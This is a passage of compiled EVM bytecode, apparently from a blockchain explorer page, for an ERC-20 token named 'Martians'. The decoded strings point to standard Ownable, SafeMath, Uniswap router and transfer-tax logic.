1681526020019081526020015f205f9054906101000a900460ff165b61143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490612a36565b60405180910390fd5b6114478382611a6a565b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806114ad57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6118715760155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561155a575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561161c57600654600f541161157257600354611576565b600c545b9050600f5f81548092919061158a90612a54565b91905055506010548260075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115db9190612a9b565b1061161b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161290612b18565b60405180910390fd5b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116bf5750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156116de57600654600f54116116d7576004546116db565b600d545b90505b60158054906101000a900460ff161580156117055750601560149054906101000a900460ff165b80156117585750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156117b0575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611870575f6118088361180360115460075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b1e565b611b1e565b905060015460075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561185b5761185a81611b36565b5b601154831061186e5761186d47611d9f565b5b505b5b5f8082111561198557600e5483836118899190612496565b6118939190612b63565b90508060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118de9190612a9b565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197c91906121c2565b60405180910390a35b61199185858584611e07565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866119ec9190612b93565b6040516119f991906121c2565b60405180910390a35050505050565b5f838311158290611a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a469190612091565b60405180910390fd5b505f8385611a5d9190612b93565b9050809150509392505050565b6009600a611a78919061244c565b633b9aca00611a879190612496565b81111580611adb5750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1190612c10565b60405180910390fd5b5050565b5f818311611b2c5782611b2e565b815b905092915050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b6c57611b6b612c2e565b5b604051908082528060200260200182016040528015611b9a5781602001602082028036833780820191505090505b50905030815f81518110611bb157611bb0612c5b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c55573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c799190612553565b81600181518110611c8d57611c8c612c5b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cf33060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461106b565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d55959493929190612d3f565b5f604051808303815f87803b158015611d6c575f80fd5b505af1158015611d7e573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e03573d5f803e3d5ffd5b5050565b5f611e1183611f47565b9050611e638160075f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f7b90919063ffffffff16565b60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eff8284611eb39190612b93565b60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fc490919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050505050565b5f6009600a611f56919061244c565b633b9aca00611f659190612496565b821115611f72575f611f74565b815b9050919050565b5f611fbc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a08565b905092915050565b5f808284611fd29190612a9b565b905083811015612017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200e90612de1565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61206382612021565b61206d818561202b565b935061207d81856020860161203b565b61208681612049565b840191505092915050565b5f6020820190508181035f8301526120a98184612059565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120de826120b5565b9050919050565b6120ee816120d4565b81146120f8575f80fd5b50565b5f81359050612109816120e5565b92915050565b5f819050919050565b6121218161210f565b811461212b575f80fd5b50565b5f8135905061213c81612118565b92915050565b5f8060408385031215612158576121576120b1565b5b5f612165858286016120fb565b92505060206121768582860161212e565b9150509250929050565b5f8115159050919050565b61219481612180565b82525050565b5f6020820190506121ad5f83018461218b565b92915050565b6121bc8161210f565b82525050565b5f6020820190506121d55f8301846121b3565b92915050565b5f805f606084860312156121f2576121f16120b1565b5b5f6121ff868287016120fb565b9350506020612210868287016120fb565b92505060406122218682870161212e565b9150509250925092565b5f60ff82169050919050565b6122408161222b565b82525050565b5f6020820190506122595f830184612237565b92915050565b5f60208284031215612274576122736120b1565b5b5f612281848285016120fb565b91505092915050565b612293816120d4565b82525050565b5f6020820190506122ac5f83018461228a565b92915050565b5f80604083850312156122c8576122c76120b1565b5b5f6122d5858286016120fb565b92505060206122e6858286016120fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156123725780860481111561234e5761234d6122f0565b5b600185161561235d5780820291505b808102905061236b8561231d565b9450612332565b94509492505050565b5f8261238a5760019050612445565b81612397575f9050612445565b81600181146123ad57600281146123b7576123e6565b6001915050612445565b60ff8411156123c9576123c86122f0565b5b8360020a9150848211156123e0576123df6122f0565b5b50612445565b5060208310610133831016604e8410600b841016171561241b5782820a905083811115612416576124156122f0565b5b612445565b6124288484846001612329565b9250905081840481111561243f5761243e6122f0565b5b81810290505b9392505050565b5f6124568261210f565b91506124618361222b565b925061248e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461237b565b905092915050565b5f6124a08261210f565b91506124ab8361210f565b92508282026124b98161210f565b915082820484148315176124d0576124cf6122f0565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61250b60208361202b565b9150612516826124d7565b602082019050919050565b5f6020820190508181035f830152612538816124ff565b9050919050565b5f8151905061254d816120e5565b92915050565b5f60208284031215612568576125676120b1565b5b5f6125758482850161253f565b91505092915050565b5f6040820190506125915f83018561228a565b61259e602083018461228a565b9392505050565b5f819050919050565b5f819050919050565b5f6125d16125cc6125c7846125a5565b6125ae565b61210f565b9050919050565b6125e1816125b7565b82525050565b5f60c0820190506125fa5f83018961228a565b61260760208301886121b3565b61261460408301876125d8565b61262160608301866125d8565b61262e608083018561228a565b61263b60a08301846121b3565b979650505050505050565b5f8151905061265481612118565b92915050565b5f805f60608486031215612671576126706120b1565b5b5f61267e86828701612646565b935050602061268f86828701612646565b92505060406126a086828701612646565b9150509250925092565b5f6040820190506126bd5f83018561228a565b6126ca60208301846121b3565b9392505050565b6126da81612180565b81146126e4575f80fd5b50565b5f815190506126f5816126d1565b92915050565b5f602082840312156127105761270f6120b1565b5b5f61271d848285016126e7565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61278060248361202b565b915061278b82612726565b604082019050919050565b5f6020820190508181035f8301526127ad81612774565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61280e60228361202b565b9150612819826127b4565b604082019050919050565b5f6020820190508181035f83015261283b81612802565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61289c60258361202b565b91506128a782612842565b604082019050919050565b5f6020820190508181035f8301526128c981612890565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61292a60238361202b565b9150612935826128d0565b604082019050919050565b5f6020820190508181035f8301526129578161291e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129b860298361202b565b91506129c38261295e565b604082019050919050565b5f6020820190508181035f8301526129e5816129ac565b9050919050565b7f54726164696e67206973206e6f74206f70656e656400000000000000000000005f82015250565b5f612a2060158361202b565b9150612a2b826129ec565b602082019050919050565b5f6020820190508181035f830152612a4d81612a14565b9050919050565b5f612a5e8261210f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a9057612a8f6122f0565b5b600182019050919050565b5f612aa58261210f565b9150612ab08361210f565b9250828201905080821115612ac857612ac76122f0565b5b92915050565b7f416d6f756e7420697320746f6f206c61726765000000000000000000000000005f82015250565b5f612b0260138361202b565b9150612b0d82612ace565b602082019050919050565b5f6020820190508181035f830152612b2f81612af6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b6d8261210f565b9150612b788361210f565b925082612b8857612b87612b36565b5b828204905092915050565b5f612b9d8261210f565b9150612ba88361210f565b9250828203905081811115612bc057612bbf6122f0565b5b92915050565b7f416d6f756e74206973206e6f7420617661696c61626c650000000000000000005f82015250565b5f612bfa60178361202b565b9150612c0582612bc6565b602082019050919050565b5f6020820190508181035f830152612c2781612bee565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612cba816120d4565b82525050565b5f612ccb8383612cb1565b60208301905092915050565b5f602082019050919050565b5f612ced82612c88565b612cf78185612c92565b9350612d0283612ca2565b805f5b83811015612d32578151612d198882612cc0565b9750612d2483612cd7565b925050600181019050612d05565b5085935050505092915050565b5f60a082019050612d525f8301886121b3565b612d5f60208301876125d8565b8181036040830152612d718186612ce3565b9050612d80606083018561228a565b612d8d60808301846121b3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612dcb601b8361202b565b9150612dd682612d97565b602082019050919050565b5f6020820190508181035f830152612df881612dbf565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220342fc54af25c8121439496063d7d0197745a8447a141339b28e8b69c62094fa964736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063715018a61161009f57806395d89b411161006357806395d89b41146103685780639ccb074414610392578063a9059cbb146103ba578063c9567bf9146103f6578063dd62ed3e1461040c5761011e565b8063715018a6146102be578063751039fc146102d45780638da5cb5b146102ea5780638f664b28146103145780638f9a55c01461033e5761011e565b806323b872dd116100e657806323b872dd146101c85780632d612e9214610204578063313ce5671461022e5780633f374f1e1461025857806370a08231146102825761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806320800a00146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610136610448565b6040516101439190612091565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612142565b610485565b60405161017f919061219a565b60405180910390f35b348015610193575f80fd5b5061019c6104a2565b6040516101a991906121c2565b60405180910390f35b3480156101bd575f80fd5b506101c66104c5565b005b3480156101d3575f80fd5b506101ee60048036038101906101e991906121db565b6105a6565b6040516101fb919061219a565b60405180910390f35b34801561020f575f80fd5b5061021861067a565b60405161022591906121c2565b60405180910390f35b348015610239575f80fd5b50610242610680565b60405161024f9190612246565b60405180910390f35b348015610263575f80fd5b5061026c610688565b60405161027991906121c2565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a3919061225f565b61068e565b6040516102b591906121c2565b60405180910390f35b3480156102c9575f80fd5b506102d26106d4565b005b3480156102df575f80fd5b506102e8610822565b005b3480156102f5575f80fd5b506102fe610951565b60405161030b9190612299565b60405180910390f35b34801561031f575f80fd5b50610328610978565b60405161033591906121c2565b60405180910390f35b348015610349575f80fd5b5061035261097e565b60405161035f91906121c2565b60405180910390f35b348015610373575f80fd5b5061037c610984565b6040516103899190612091565b60405180910390f35b34801561039d575f80fd5b506103b860048036038101906103b3919061225f565b6109c1565b005b3480156103c5575f80fd5b506103e060048036038101906103db9190612142565b610d36565b6040516103ed919061219a565b60405180910390f35b348015610401575f80fd5b5061040a610d53565b005b348015610417575f80fd5b50610432600480360381019061042d91906122b2565b610fe2565b60405161043f91906121c2565b60405180910390f35b60606040518060400160405280600881526020017f4d61727469616e73000000000000000000000000000000000000000000000000815250905090565b5f610498610491611064565b848461106b565b6001905092915050565b5f6009600a6104b1919061244c565b633b9aca006104c09190612496565b905090565b6104cd611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055090612521565b60405180910390fd5b610561610951565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156105a3573d5f803e3d5ffd5b50565b5f6105b284848461122e565b61066f846105be611064565b61066a85604051806060016040528060288152602001612e006028913960085f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610621611064565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a089092919063ffffffff16565b61106b565b600190509392505050565b60115481565b5f6009905090565b60135481565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106dc611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90612521565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61082a611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ad90612521565b60405180910390fd5b6009600a6108c4919061244c565b633b9aca006108d39190612496565b6011819055506009600a6108e7919061244c565b633b9aca006108f69190612496565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61092b919061244c565b633b9aca0061093a9190612496565b60405161094791906121c2565b60405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60105481565b60606040518060400160405280600881526020017f4d61727469616e73000000000000000000000000000000000000000000000000815250905090565b6109c9611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90612521565b60405180910390fd5b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bed9190612553565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c73573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c979190612553565b6040518363ffffffff1660e01b8152600401610cb492919061257e565b6020604051808303815f875af1158015610cd0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf49190612553565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610d49610d42611064565b848461122e565b6001905092915050565b610d5b611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90612521565b60405180910390fd5b610e2f3060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e1b919061244c565b633b9aca00610e2a9190612496565b61106b565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e773061068e565b5f80610e81610951565b426040518863ffffffff1660e01b8152600401610ea3969594939291906125e7565b60606040518083038185885af1158015610ebf573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ee4919061265a565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f849291906126aa565b6020604051808303815f875af1158015610fa0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc491906126fb565b506001601560146101000a81548160ff021916908315150217905550565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d090612796565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e90612824565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122191906121c2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361129c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611293906128b2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361130a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130190612940565b60405180910390fd5b5f811161134c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611343906129ce565b60405180910390fd5b601560149054906101000a900460ff16806113ad575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806113fe575060095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490612a36565b60405180910390fd5b6114478382611a6a565b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806114ad57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6118715760155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561155a575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561161c57600654600f541161157257600354611576565b600c545b9050600f5f81548092919061158a90612a54565b91905055506010548260075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115db9190612a9b565b1061161b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161290612b18565b60405180910390fd5b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116bf5750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156116de57600654600f54116116d7576004546116db565b600d545b90505b60158054906101000a900460ff161580156117055750601560149054906101000a900460ff165b80156117585750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156117b0575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611870575f6118088361180360115460075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b1e565b611b1e565b905060015460075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561185b5761185a81611b36565b5b601154831061186e5761186d47611d9f565b5b505b5b5f8082111561198557600e5483836118899190612496565b6118939190612b63565b90508060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118de9190612a9b565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197c91906121c2565b60405180910390a35b61199185858584611e07565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866119ec9190612b93565b6040516119f991906121c2565b60405180910390a35050505050565b5f838311158290611a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a469190612091565b60405180910390fd5b505f8385611a5d9190612b93565b9050809150509392505050565b6009600a611a78919061244c565b633b9aca00611a879190612496565b81111580611adb5750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1190612c10565b60405180910390fd5b5050565b5f818311611b2c5782611b2e565b815b905092915050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b6c57611b6b612c2e565b5b604051908082528060200260200182016040528015611b9a5781602001602082028036833780820191505090505b50905030815f81518110611bb157611bb0612c5b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c55573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c799190612553565b81600181518110611c8d57611c8c612c5b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cf33060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461106b565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d55959493929190612d3f565b5f604051808303815f87803b158015611d6c575f80fd5b505af1158015611d7e573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e03573d5f803e3d5ffd5b5050565b5f611e1183611f47565b9050611e638160075f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f7b90919063ffffffff16565b60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eff8284611eb39190612b93565b60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fc490919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050505050565b5f6009600a611f56919061244c565b633b9aca00611f659190612496565b821115611f72575f611f74565b815b9050919050565b5f611fbc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a08565b905092915050565b5f808284611fd29190612a9b565b905083811015612017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200e90612de1565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61206382612021565b61206d818561202b565b935061207d81856020860161203b565b61208681612049565b840191505092915050565b5f6020820190508181035f8301526120a98184612059565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120de826120b5565b9050919050565b6120ee816120d4565b81146120f8575f80fd5b50565b5f81359050612109816120e5565b92915050565b5f819050919050565b6121218161210f565b811461212b575f80fd5b50565b5f8135905061213c81612118565b92915050565b5f8060408385031215612158576121576120b1565b5b5f612165858286016120fb565b92505060206121768582860161212e565b9150509250929050565b5f8115159050919050565b61219481612180565b82525050565b5f6020820190506121ad5f83018461218b565b92915050565b6121bc8161210f565b82525050565b5f6020820190506121d55f8301846121b3565b92915050565b5f805f606084860312156121f2576121f16120b1565b5b5f6121ff868287016120fb565b9350506020612210868287016120fb565b92505060406122218682870161212e565b9150509250925092565b5f60ff82169050919050565b6122408161222b565b82525050565b5f6020820190506122595f830184612237565b92915050565b5f60208284031215612274576122736120b1565b5b5f612281848285016120fb565b91505092915050565b612293816120d4565b82525050565b5f6020820190506122ac5f83018461228a565b92915050565b5f80604083850312156122c8576122c76120b1565b5b5f6122d5858286016120fb565b92505060206122e6858286016120fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156123725780860481111561234e5761234d6122f0565b5b600185161561235d5780820291505b808102905061236b8561231d565b9450612332565b94509492505050565b5f8261238a5760019050612445565b81612397575f9050612445565b81600181146123ad57600281146123b7576123e6565b6001915050612445565b60ff8411156123c9576123c86122f0565b5b8360020a9150848211156123e0576123df6122f0565b5b50612445565b5060208310610133831016604e8410600b841016171561241b5782820a905083811115612416576124156122f0565b5b61244556